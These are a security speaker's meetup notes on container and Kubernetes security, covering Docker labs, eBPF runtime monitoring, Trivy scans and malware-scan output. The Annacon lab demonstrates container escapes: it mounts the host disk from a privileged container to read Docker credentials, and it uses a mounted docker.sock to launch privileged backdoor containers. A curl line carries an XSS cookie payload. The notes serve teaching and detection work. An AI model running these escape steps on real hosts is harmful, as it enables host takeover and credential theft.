# Meetup Notes

Introduction

Feel free to reach out[ philippe@kubiosec.tech](mailto:philippe@kubiosec.tech)

* <https://twitter.com/xxradar> @xxradar&#x20;
* <https://www.linkedin.com/in/philippebogaerts/>
* <https://xxradar.medium.com/>
* <https://cloudyuga.guru/>
* <https://github.com/xxradar>
* <https://github.com/kubiosec>

Where it all started <https://www.radarhack.com/>


# 25-02-2025 Belgium Dev Experience Network

https\://www\.meetup.com/meetup-group-judpeflp/

{% file src="/files/Nhe0IJtkYdQIppHO7hdK" %}


# 22-02-2025 Stratoshark and system calls @CSOH

https\://csoh.org/conc8/

## Topics Discussed

System calls and the importance for runtime security.

{% file src="/files/o2TjrKsf0lvhJxOKXOle" %}

{% embed url="<https://xxradar.medium.com/analyzing-http-https-traffic-with-stratoshark-968a4d59440e>" %}

{% embed url="<https://github.com/xxradar/stratoshark-http-https/>" %}

{% embed url="<https://stratoshark.org/>" %}


# 06-06-2024 GenAI with Elastic and Microsoft Meetup

## Topics discussed

More info <https://www.meetup.com/elastic-belgium-user-group/events/300858722/>

{% file src="/files/Ggsir6SbFBwRKLygSGEw" %}

* RAG: A Game-changing tool for Search Engines
* Exploring the future of AI: GenAI Multi-Agent frameworks
* You Can’t Secure What You Can’t See: Building Trust in AI Agents

For more info on 'You Can’t Secure What You Can’t See: Building Trust in AI Agents', you can reach out to <https://www.linkedin.com/in/philippebogaerts/>.


# 02-05-2024 23rd Belgium NLP Meetup @InThePocket

{% file src="/files/Y5Z4Jl4sojLhIPyn7Lx3" %}


# 30-04-2024 Aarixa training event @BrewdogBrussels

Notes on containers, kubernetes and LLM apps

{% file src="/files/LIUhGkVosFg0hXm3CwBn" %}

{% file src="/files/IpsTtTqOdXwqvDmW2yrN" %}

## Dissecting container and pods

### Running containers is easy <a href="#toc_1" id="toc_1"></a>

#### Docker host <a href="#toc_2" id="toc_2"></a>

* ubuntu machine
* public ip address
* security group 80, 443, 8080, 8081

#### Install docker <a href="#toc_3" id="toc_3"></a>

```
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh ./get-docker.sh
```

```
sudo groupadd docker
sudo usermod -aG docker $USER
newgrp docker
```

#### Running our first container <a href="#toc_4" id="toc_4"></a>

```
export IP="x.x.x.x"
```

```
docker run -d -p 8080:80 --name www nginx:1.24
```

```
docker run -d -p 8081:80 --name www2 nginx:1.25
```

```
curl -kv $IP:8080
```

```
curl -kv $IP:8081
```

#### Creating our first image <a href="#toc_5" id="toc_5"></a>

```
mkdir ./lab1
cd lab1
```

```
echo "My Annacon secret" >./secret.txt
```

```
cat >Dockerfile <<EOF
FROM ubuntu:20.04
ADD ./secret.txt /secret.txt
RUN apt-get update && apt-get install -y curl netcat
RUN  rm -f /secret.txt
CMD bash
EOF
```

```
docker build -t myimage ./.
```

```
docker run -it myimage
```

```
docker tag myimage xxradar/myimage:01
```

```
docker login
```

```
docker push xxradar/myimage:01
```

```
docker run -it xxradar/myimage:01
```

#### Privileged <a href="#toc_12" id="toc_12"></a>

```
docker run -d  --privileged  --name www3 nginx:1.25
```

```
docker exec -it www3 bash
```

```
mkdir /tmp/host-fs
mount /dev/vda1
```

### eBPF <a href="#toc_14" id="toc_14"></a>

#### Tracee <a href="#toc_15" id="toc_15"></a>

```
docker run   --name tracee --rm -it   \
   --pid=host \
   --cgroupns=host \
   --privileged \
   -v /etc/os-release:/etc/os-release-host:ro \
   aquasec/tracee:latest
```

#### Falco <a href="#toc_16" id="toc_16"></a>

```
sudo curl -s https://falco.org/repo/falcosecurity-packages.asc |sudo  apt-key add -

sudo echo "deb https://download.falco.org/packages/deb stable main" | sudo tee -a /etc/apt/sources.list.d/falcosecurity.list

sudo  apt-get update -y

sudo apt-get install -y falco

```

```
- rule: spawned_process_in_test_container
  desc: A process was spawned in the test container.
  condition: container.name = "falco-test" and evt.type = execve
  output: "%evt.time,%user.uid,%proc.name,%container.id,%container.name,command=%proc.cmdline"
  priority: WARNING
```

```
falco -r ./falco.rule
....
```

#### Tetragon <a href="#toc_17" id="toc_17"></a>

```
docker run -d --name tetragon-container --rm --pull always \
    --pid=host \
    --cgroupns=host \
    --privileged             \
    -v /sys/kernel/btf/vmlinux:/var/lib/tetragon/btf    \
    quay.io/cilium/tetragon-ci:latest
```

```
docker exec tetragon-container tetra getevents -o compact
```

```
root@ip-172-31-31-30:~# cat ./tracing_policy.yaml
# This tracing policy 'connect-only-local-addrs' will report attempts
# to make outbound TCP connections to any IP address other than those
# within the 127.0.0.0/8 CIDR, from the binary /usr/bin/curl. In
# addition it will also kill the offending curl process.
#
# Description:
#  Report and block outbound TCP connections outside loopback from
#  /usr/bin/curl.
#
# In production, this could be used to force processes to only connect
# to their side cars on their local loopback, and to treat transgressions
# as evidence of malicious activity, resulting in the process being
# killed.

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "connect-only-local-addrs"
spec:
  kprobes:
  - call: "tcp_connect"
    syscall: false
    args:
    - index: 0
      type: "sock"
    selectors:
    - matchArgs:
      - index: 0
        operator: "NotDAddr"
        values:
        - "127.0.0.0/8"
      matchBinaries:
      - operator: "In"
        values:
        - "/usr/bin/curl"
      matchActions:
      - action: Sigkill
```

```
docker run -d --name tetragon-container --rm --pull always \
    --pid=host --cgroupns=host --privileged             \
    -v $PWD/tracing_policy.yaml:/tracing_policy.yaml    \
    -v /sys/kernel/btf/vmlinux:/var/lib/tetragon/btf    \
    quay.io/cilium/tetragon-ci:latest                   \
    --tracing-policy /tracing_policy.yaml
```


# 01-02-2024 Belgium Kubernetes and Cloud Native Meetup @Google Brussels

## Kubernetes Superpowers: AI and eBPF

{% file src="/files/h0cYQbS8iDU1cNOmwgEh" %}

Overview of all links\
[https://brucon.org<br>](<https://brucon.org&#xA;>)[https://github.com/gofireflyio/aiac<br>](<https://github.com/gofireflyio/aiac&#xA;>)[https://github.com/sozercan/kubectl-ai<br>](<https://github.com/sozercan/kubectl-ai&#xA;>)[https://k8sgpt.ai/<br>](<https://k8sgpt.ai/&#xA;>)<https://robusta.dev>\
<https://ebpf.io/>\
[https://](https://ebpf.io/applications/)[ebpf.io](https://ebpf.io/applications/)[/applications](https://ebpf.io/applications/)\
[https://www.inspektor-gadget.io/<br>](<https://www.inspektor-gadget.io/&#xA;>)[https://kubernetes.io/docs/tutorials/security/seccomp/](<https://kubernetes.io/docs/tutorials/security/seccomp/&#xA;>)\
[https://aquasecurity.github.io/tracee/latest/](<https://aquasecurity.github.io/tracee/latest/&#xA;>)\
[https://aquasecurity.github.io/tracee/v0.19/docs/events/builtin/signatures/<br>](<https://aquasecurity.github.io/tracee/v0.19/docs/events/builtin/signatures/&#xA;>)[https://sysdig.com/opensource/falco/<br>](<https://sysdig.com/opensource/falco/&#xA;>)<https://tetragon.io/>\
\
Here a few of the prompts used in the demo and screenshots.

`aiac get create a Dockerfile to build a ubuntu image with curl installed`

`kubectl ai --openai-deployment-name=gpt-4 "run me a nginx server pod version 1.9.4 with name nginx-pod with label prod=false"`&#x20;

`kubectl ai --openai-deployment-name=gpt-4 "deploy me a ningx server with name cncf with label prod=true. Also please expose the deployment with a NodePort service"`

`k8sgpt analyze --filter=Pod --explain`

`kubectl gadget trace dns`&#x20;

`kubectl gadget trace tcpconnect`&#x20;

`sudo sysdig -p"%proc.cmdline" proc.name=curl` \
`curl 'https://radarsec.com/test=alert(document.cookie)'`

`sudo sysdig proc.name=curl` \
`curl 'https://radarsec.com/test=alert(document.cookie)'`


# 20-12-2023 IPv6 summit @Google Brussels

## IPv6 on Kubernetes

Please find a link to the presentation about IPv6, Docker and Kubernetes.\
<https://www.ipv6council.be/?p=703>\
\
Topics:

* IPv6 Docker
* IPv6 Kubernetes
* CNI
* Runtime security


# 19-10-2023 Annacon

These are notes from my talk at https\://annacon.be/ 2023.

## Dissecting container and pods

You can find the recording (in Dutch) and slides over here at <https://annacon.be/0x7e7_media/>

### Running containers is easy <a href="#toc_1" id="toc_1"></a>

#### Docker host <a href="#toc_2" id="toc_2"></a>

* ubuntu machine
* public ip address
* security group 80, 443, 8080, 8081

#### Install docker <a href="#toc_3" id="toc_3"></a>

```
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh ./get-docker.sh
```

```
sudo groupadd docker
sudo usermod -aG docker $USER
newgrp docker
```

#### Running our first container <a href="#toc_4" id="toc_4"></a>

```
export IP="x.x.x.x"
```

```
docker run -d -p 8080:80 --name www nginx:1.24
```

```
docker run -d -p 8081:80 --name www2 nginx:1.25
```

```
curl -kv $IP:8080
```

```
curl -kv $IP:8081
```

#### Creating our first image <a href="#toc_5" id="toc_5"></a>

```
mkdir ./lab1
cd lab1
```

```
echo "My Annacon secret" >./secret.txt
```

```
cat >Dockerfile <<EOF
FROM ubuntu:20.04
ADD ./secret.txt /secret.txt
RUN apt-get update && apt-get install -y curl netcat
RUN  rm -f /secret.txt
CMD bash
EOF
```

```
docker build -t myimage ./.
```

```
docker run -it myimage
```

```
docker tag myimage xxradar/myimage:01
```

```
docker login
```

```
docker push xxradar/myimage:01
```

```
docker run -it xxradar/myimage:01
```

### Dissecting the image <a href="#toc_6" id="toc_6"></a>

```
mkdir ../lab2
cd ../lab2
```

```
docker save xxradar/myimage:01 >image.tar
```

```
tar xfv ./image.tar
```

```
cat manifest.json | jq -r 
```

#### Finding `secret.txt` <a href="#toc_7" id="toc_7"></a>

Explore and untar all the layers

```
tar xfv ./layer.tar
```

### Dissecting a running container <a href="#toc_8" id="toc_8"></a>

```
mkdir ../lab3
cd ../lab3
```

```
docker inspect www
```

#### Storage <a href="#toc_9" id="toc_9"></a>

```
docker inspect www | jq -r '.[].LogPath'
```

```
docker inspect www | jq -r '.[].GraphDriver'
```

```
sudo ls /var/lib/docker/overlay2/dbe8c23813804c767695f142a99d5f1669552b853c989f9ef6182cbd87efe802/diff
```

```
docker exec -it www bash
```

```
echo secretoftheday >text.txt
```

```
sudo ls /var/lib/docker/overlay2/dbe8c23813804c767695f142a99d5f1669552b853c989f9ef6182cbd87efe802/diff
```

```
sudo cat /var/lib/docker/overlay2/dbe8c23813804c767695f142a99d5f1669552b853c989f9ef6182cbd87efe802/diff/test.txt
```

#### Processes and namespaces <a href="#toc_10" id="toc_10"></a>

```
mkdir ../lab4
cd ../lab4
```

```
export PID=$(docker inspect www | jq -r '.[].State.Pid')
echo $PID
```

```
sudo ps -ax -n -o pid,netns,utsns,ipcns,mntns,pidns,cmd | grep $PID
```

```
export NETNS="4026532287"
```

```
sudo ps -ax -n -o pid,netns,utsns,ipcns,mntns,pidns,cmd | grep $NETNS
```

#### Entering a container <a href="#toc_11" id="toc_11"></a>

```
nsenter -t $PID -a
```

```
apt-get update && apt-get install procps
```

```
ps aux
```

```
curl https://www.radarhack.com/dir/demo/hosts.txt -o /etc/hosts
```

```
curl www.google.com
```

```
cat /usr/share/nginx/html/index.html
```

```
echo hacking at annacon >> /usr/share/nginx/html/index.html
```

#### Privileged <a href="#toc_12" id="toc_12"></a>

```
docker run -d  --privileged  --name www3 nginx:1.25
```

```
docker exec -it www3 bash
```

```
mkdir /tmp/host-fs
mount /dev/root /tmp/host-fs/
```

```
cd  /tmp/host-fs/
cat /tmp/host-fs/home/ubuntu/.docker/config.json
```

#### Mounting issues <a href="#toc_13" id="toc_13"></a>

```
docker run -d  -v /var/run/docker.sock:/var/run/docker.sock --name www4 nginx:1.25
```

```
docker exec -it www4 bash
```

```
curl https://download.docker.com/linux/static/stable/x86_64/docker-24.0.6.tgz -O
tar xzvf ./docker-24.0.6.tgz
cd docker
./docker -H unix:///var/run/docker.sock ps
./docker -H unix:///var/run/docker.sock run -d --name hackpod xxradar/hackon sleep 900
./docker -H unix:///var/run/docker.sock run -d --privileged --name hackpodpriv xxradar/ubuntu_infected:annacon  sleep 500 &
./docker -H unix:///var/run/docker.sock run -d --privileged  -v /var/run/docker.sock:/var/run/docker.sock --name hackpod_backdoor xxradar/ubuntu_infected:annacon  "bash -c sleep 500 &"
```

```
apt list
```

### eBPF <a href="#toc_14" id="toc_14"></a>

#### Tracee <a href="#toc_15" id="toc_15"></a>

```
docker run   --name tracee --rm -it   \
   --pid=host \
   --cgroupns=host \
   --privileged \
   -v /etc/os-release:/etc/os-release-host:ro \
   aquasec/tracee:latest
```

#### Falco <a href="#toc_16" id="toc_16"></a>

```
sudo curl -s https://falco.org/repo/falcosecurity-packages.asc |sudo  apt-key add -

sudo echo "deb https://download.falco.org/packages/deb stable main" | sudo tee -a /etc/apt/sources.list.d/falcosecurity.list

sudo  apt-get update -y

sudo apt-get install -y falco

```

```
- rule: spawned_process_in_test_container
  desc: A process was spawned in the test container.
  condition: container.name = "falco-test" and evt.type = execve
  output: "%evt.time,%user.uid,%proc.name,%container.id,%container.name,command=%proc.cmdline"
  priority: WARNING
```

```
falco -r ./falco.rule
....
```

#### Tetragon <a href="#toc_17" id="toc_17"></a>

```
docker run -d --name tetragon-container --rm --pull always \
    --pid=host \
    --cgroupns=host \
    --privileged             \
    -v /sys/kernel/btf/vmlinux:/var/lib/tetragon/btf    \
    quay.io/cilium/tetragon-ci:latest
```

```
docker exec tetragon-container tetra getevents -o compact
```

```
root@ip-172-31-31-30:~# cat ./tracing_policy.yaml
# This tracing policy 'connect-only-local-addrs' will report attempts
# to make outbound TCP connections to any IP address other than those
# within the 127.0.0.0/8 CIDR, from the binary /usr/bin/curl. In
# addition it will also kill the offending curl process.
#
# Description:
#  Report and block outbound TCP connections outside loopback from
#  /usr/bin/curl.
#
# In production, this could be used to force processes to only connect
# to their side cars on their local loopback, and to treat transgressions
# as evidence of malicious activity, resulting in the process being
# killed.

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "connect-only-local-addrs"
spec:
  kprobes:
  - call: "tcp_connect"
    syscall: false
    args:
    - index: 0
      type: "sock"
    selectors:
    - matchArgs:
      - index: 0
        operator: "NotDAddr"
        values:
        - "127.0.0.0/8"
      matchBinaries:
      - operator: "In"
        values:
        - "/usr/bin/curl"
      matchActions:
      - action: Sigkill
```

```
docker run -d --name tetragon-container --rm --pull always \
    --pid=host --cgroupns=host --privileged             \
    -v $PWD/tracing_policy.yaml:/tracing_policy.yaml    \
    -v /sys/kernel/btf/vmlinux:/var/lib/tetragon/btf    \
    quay.io/cilium/tetragon-ci:latest                   \
    --tracing-policy /tracing_policy.yaml
```


# 25-05-2023 Cloud Native Computing Meetup Switzerland

## Presentation

{% file src="/files/JUwyr4r5DexrUxrS7oKR" %}

## Fortinet specific links

* <https://www.fortinet.com/products/public-cloud-security/cloud-native-firewall>
* <https://www.fortinet.com/products/public-cloud-security/azure/azure-vwan>
* <https://www.fortinet.com/products/fortidevsec>
* <https://www.fortinet.com/products/dynamic-application-security-testing>
* <https://github.com/40net-cloud/fortinet-azure-solutions/>

## Links

* [https://medium.com/@chenshiri/taking-over-google-cloud-shell-by-utilizing-capabilities-and-kubelet-fd5e2417f286](<https://medium.com/@chenshiri/taking-over-google-cloud-shell-by-utilizing-capabilities-and-kubelet-fd5e2417f286&#xA;>)
* [https://www.form3.tech/engineering/content/exploiting-distroless-images](<https://www.form3.tech/engineering/content/exploiting-distroless-images&#xA;>)
* <https://falco.org/>
* <https://sysdig.com/>
* <https://www.armosec.io>
* <https://aquasecurity.github.io/trivy/v0.38/>
* <https://home.robusta.dev/>
* <https://tetragon.cilium.io/docs/>
* <https://github.com/deepfence/YaraHunter>

## Exploiting probes and life cycle mgmt

* <https://github.com/xxradar/attacking_via_kubernetes_probes>
* <https://github.com/xxradar/posthook_exploitation/>

## Tekton examples

* <https://github.com/kubiosec/tekton>

## Trivy examples

```
$ trivy image ubuntu:latest
2023-03-22T10:41:57.265Z	INFO	Vulnerability scanning is enabled
2023-03-22T10:41:57.266Z	INFO	Secret scanning is enabled
2023-03-22T10:41:57.266Z	INFO	If your scanning is slow, please try '--security-checks vuln' to disable secret scanning
2023-03-22T10:41:57.266Z	INFO	Please see also https://aquasecurity.github.io/trivy/v0.35/docs/secret/scanning/#recommendation for faster secret detection
2023-03-22T10:41:58.233Z	INFO	Detected OS: ubuntu
2023-03-22T10:41:58.233Z	INFO	Detecting Ubuntu vulnerabilities...
2023-03-22T10:41:58.236Z	INFO	Number of language-specific files: 0

ubuntu:latest (ubuntu 22.04)

Total: 12 (UNKNOWN: 0, LOW: 12, MEDIUM: 0, HIGH: 0, CRITICAL: 0)

┌──────────────┬────────────────┬──────────┬──────────────────────────┬───────────────┬─────────────────────────────────────────────────────────────┐
│   Library    │ Vulnerability  │ Severity │    Installed Version     │ Fixed Version │                            Title                            │
├──────────────┼────────────────┼──────────┼──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ bash         │ CVE-2022-3715  │ LOW      │ 5.1-6ubuntu1             │               │ bash: a heap-buffer-overflow in valid_parameter_transform   │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3715                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ coreutils    │ CVE-2016-2781  │          │ 8.32-4.1ubuntu1          │               │ coreutils: Non-privileged session can escape to the parent  │
│              │                │          │                          │               │ session in chroot                                           │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2016-2781                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ gpgv         │ CVE-2022-3219  │          │ 2.2.27-3ubuntu2.1        │               │ gnupg: denial of service issue (resource consumption) using │
│              │                │          │                          │               │ compressed packets                                          │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3219                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libc-bin     │ CVE-2016-20013 │          │ 2.35-0ubuntu3.1          │               │ sha256crypt and sha512crypt through 0.6 allow attackers to  │
│              │                │          │                          │               │ cause a denial of...                                        │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2016-20013                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ libc6        │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libncurses6  │ CVE-2022-29458 │          │ 6.3-2                    │               │ ncurses: segfaulting OOB read                               │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-29458                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ libncursesw6 │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libpcre3     │ CVE-2017-11164 │          │ 2:8.39-13ubuntu0.22.04.1 │               │ pcre: OP_KETRMAX feature in the match function in           │
│              │                │          │                          │               │ pcre_exec.c                                                 │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2017-11164                  │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libssl3      │ CVE-2022-3996  │          │ 3.0.2-0ubuntu1.8         │               │ openssl: double locking leads to denial of service          │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3996                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libtinfo6    │ CVE-2022-29458 │          │ 6.3-2                    │               │ ncurses: segfaulting OOB read                               │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-29458                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ ncurses-base │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ ncurses-bin  │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
└──────────────┴────────────────┴──────────┴──────────────────────────┴───────────────┴─────────────────────────────────────────────────────────────┘
```

```
$ trivy image xxradar/ubuntu_infected:101
2023-03-22T10:35:38.998Z	INFO	Need to update DB
2023-03-22T10:35:38.999Z	INFO	DB Repository: ghcr.io/aquasecurity/trivy-db
2023-03-22T10:35:38.999Z	INFO	Downloading DB...
36.14 MiB / 36.14 MiB [-----------------------------------------------------------------------------------------------------------------------------------------------------------] 100.00% 3.91 MiB p/s 9.5s
2023-03-22T10:35:51.163Z	INFO	Vulnerability scanning is enabled
2023-03-22T10:35:51.170Z	INFO	Secret scanning is enabled
2023-03-22T10:35:51.171Z	INFO	If your scanning is slow, please try '--security-checks vuln' to disable secret scanning
2023-03-22T10:35:51.173Z	INFO	Please see also https://aquasecurity.github.io/trivy/v0.35/docs/secret/scanning/#recommendation for faster secret detection
2023-03-22T10:35:52.602Z	INFO	Detected OS: ubuntu
2023-03-22T10:35:52.603Z	INFO	Detecting Ubuntu vulnerabilities...
2023-03-22T10:35:52.618Z	INFO	Number of language-specific files: 0

xxradar/ubuntu_infected:101 (ubuntu 22.04)

Total: 12 (UNKNOWN: 0, LOW: 12, MEDIUM: 0, HIGH: 0, CRITICAL: 0)

┌──────────────┬────────────────┬──────────┬──────────────────────────┬───────────────┬─────────────────────────────────────────────────────────────┐
│   Library    │ Vulnerability  │ Severity │    Installed Version     │ Fixed Version │                            Title                            │
├──────────────┼────────────────┼──────────┼──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ bash         │ CVE-2022-3715  │ LOW      │ 5.1-6ubuntu1             │               │ bash: a heap-buffer-overflow in valid_parameter_transform   │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3715                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ coreutils    │ CVE-2016-2781  │          │ 8.32-4.1ubuntu1          │               │ coreutils: Non-privileged session can escape to the parent  │
│              │                │          │                          │               │ session in chroot                                           │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2016-2781                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ gpgv         │ CVE-2022-3219  │          │ 2.2.27-3ubuntu2.1        │               │ gnupg: denial of service issue (resource consumption) using │
│              │                │          │                          │               │ compressed packets                                          │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3219                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libc-bin     │ CVE-2016-20013 │          │ 2.35-0ubuntu3.1          │               │ sha256crypt and sha512crypt through 0.6 allow attackers to  │
│              │                │          │                          │               │ cause a denial of...                                        │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2016-20013                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ libc6        │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libncurses6  │ CVE-2022-29458 │          │ 6.3-2                    │               │ ncurses: segfaulting OOB read                               │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-29458                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ libncursesw6 │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libpcre3     │ CVE-2017-11164 │          │ 2:8.39-13ubuntu0.22.04.1 │               │ pcre: OP_KETRMAX feature in the match function in           │
│              │                │          │                          │               │ pcre_exec.c                                                 │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2017-11164                  │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libssl3      │ CVE-2022-3996  │          │ 3.0.2-0ubuntu1.8         │               │ openssl: double locking leads to denial of service          │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-3996                   │
├──────────────┼────────────────┤          ├──────────────────────────┼───────────────┼─────────────────────────────────────────────────────────────┤
│ libtinfo6    │ CVE-2022-29458 │          │ 6.3-2                    │               │ ncurses: segfaulting OOB read                               │
│              │                │          │                          │               │ https://avd.aquasec.com/nvd/cve-2022-29458                  │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ ncurses-base │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
├──────────────┤                │          │                          ├───────────────┤                                                             │
│ ncurses-bin  │                │          │                          │               │                                                             │
│              │                │          │                          │               │                                                             │
└──────────────┴────────────────┴──────────┴──────────────────────────┴───────────────┴─────────────────────────────────────────────────────────────┘
```

```
$ trivy image node:latest | grep -i TOTAL
2023-03-22T10:39:20.994Z	INFO	Vulnerability scanning is enabled
2023-03-22T10:39:20.994Z	INFO	Secret scanning is enabled
2023-03-22T10:39:20.995Z	INFO	If your scanning is slow, please try '--security-checks vuln' to disable secret scanning
2023-03-22T10:39:20.995Z	INFO	Please see also https://aquasecurity.github.io/trivy/v0.35/docs/secret/scanning/#recommendation for faster secret detection
2023-03-22T10:39:21.970Z	INFO	Detected OS: debian
2023-03-22T10:39:21.970Z	INFO	Detecting Debian vulnerabilities...
2023-03-22T10:39:22.175Z	INFO	Number of language-specific files: 1
2023-03-22T10:39:22.175Z	INFO	Detecting node-pkg vulnerabilities...
Total: 1019 (UNKNOWN: 1, LOW: 606, MEDIUM: 199, HIGH: 199, CRITICAL: 14)
```

## Malware scan using YaraHunter

```
$ docker run -it --rm --name=deepfence-yarahunter      \
     -v /var/run/docker.sock:/var/run/docker.sock      \
     -v /tmp:/home/deepfence/output      \
     deepfenceio/yara-hunter:latest \
     --image-name xxradar/ubuntu_infected:101 \
     --json-filename=xmrig-scan.json
     
     
     
copied size 384
copied size 1032336
server inside23 port {0xc000451a28 0xc00040d3c0 0xc0004518c8 0xc00040d3d0 0xc00040d3e0 0xc00040d3f0 0xc00040d400 0xc00040d410 0xc00040d420 0xc00040d430 0xc0004518d8 0xc00040d440 0xc00040d450 0xc00040d460 0xc00040d470 0xc00040d480 0xc00040d3b0 0xc0004518b8}
INFO[2023-03-25 09:42:54] trying to connect to endpoint 'unix:///var/run/docker.sock' with timeout '10s'
INFO[2023-03-25 09:42:54] connected successfully using endpoint: unix:///var/run/docker.sock
INFO[2023-03-25 09:42:54] trying to connect to endpoint 'unix:///run/containerd/containerd.sock' with timeout '10s'
WARN[2023-03-25 09:43:04] could not connect to endpoint 'unix:///run/containerd/containerd.sock': context deadline exceeded
INFO[2023-03-25 09:43:04] trying to connect to endpoint 'unix:///run/k3s/containerd/containerd.sock' with timeout '10s'
WARN[2023-03-25 09:43:14] could not connect to endpoint 'unix:///run/k3s/containerd/containerd.sock': context deadline exceeded
INFO[2023-03-25 09:43:14] container runtime detected: docker
{
  "Timestamp": "2023-03-25 09:43:21.724037583 +00:00",
  "Image Name": "xxradar/ubuntu_infected:101",
  "Image ID": "0f68bbdbb726cf17f17220e61a09ccf88ff0edfafbc97043378b6a2739352b56",
  "Malware match detected are": [
    {
      "Image Layer ID": "5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d",
      "Matched Rule Name": "spyeye_plugins",
      "Strings to match are": [
            "config.dat"
      ],
      "Category": ["banker"],
      "File Name": "/tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/etc/debconf.conf",
      "author":"Jean-Philippe Teissier / @Jipe_ ",
      "description":"SpyEye X.Y Plugins memory ",
      "date":"2012-05-23 ",
      "version":"1.0 ",
      "filetype":"memory ",
      "Summary": "The file /tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/etc/debconf.conf has a banker match.The matched rule file's  author  is Jean-Philippe Teissier / @Jipe_ .The file has a rule match that  SpyEye X.Y Plugins memory .The matched rule file's  date  is 2012-05-23 .The matched rule file's  version  is 1.0 .The matched rule file's  filetype  is memory ."
    }
,
    {
      "Image Layer ID": "5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d",
      "Matched Rule Name": "spyeye_plugins",
      "Strings to match are": [
            "config.dat"
      ],
      "Category": ["banker"],
      "File Name": "/tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/usr/share/debconf/debconf.conf",
      "author":"Jean-Philippe Teissier / @Jipe_ ",
      "description":"SpyEye X.Y Plugins memory ",
      "date":"2012-05-23 ",
      "version":"1.0 ",
      "filetype":"memory ",
      "Summary": "The file /tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/usr/share/debconf/debconf.conf has a banker match.The matched rule file's  author  is Jean-Philippe Teissier / @Jipe_ .The file has a rule match that  SpyEye X.Y Plugins memory .The matched rule file's  date  is 2012-05-23 .The matched rule file's  version  is 1.0 .The matched rule file's  filetype  is memory ."
    }
,
    {
      "Image Layer ID": "5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d",
      "Matched Rule Name": "spyeye",
      "Strings to match are": [
            "data_end"
      ],
      "Category": ["banker"],
      "File Name": "/tmp/Deepfence/YaRadare/df_xxradarubuntuinfected101/ExtractedFiles/5252eaf485b87efa424faa758810c93fa0e7f9444b4b3d368334fe6420df311d/var/lib/dpkg/info/libc6:amd64.symbols",
      "author":"Jean-Philippe Teissier / @Jipe_ ",
      "description":"SpyEye X.Y memory ",
      "date":"2012-05-23 ",
      "version":"1.0 ",
      "filetype":"memory ",
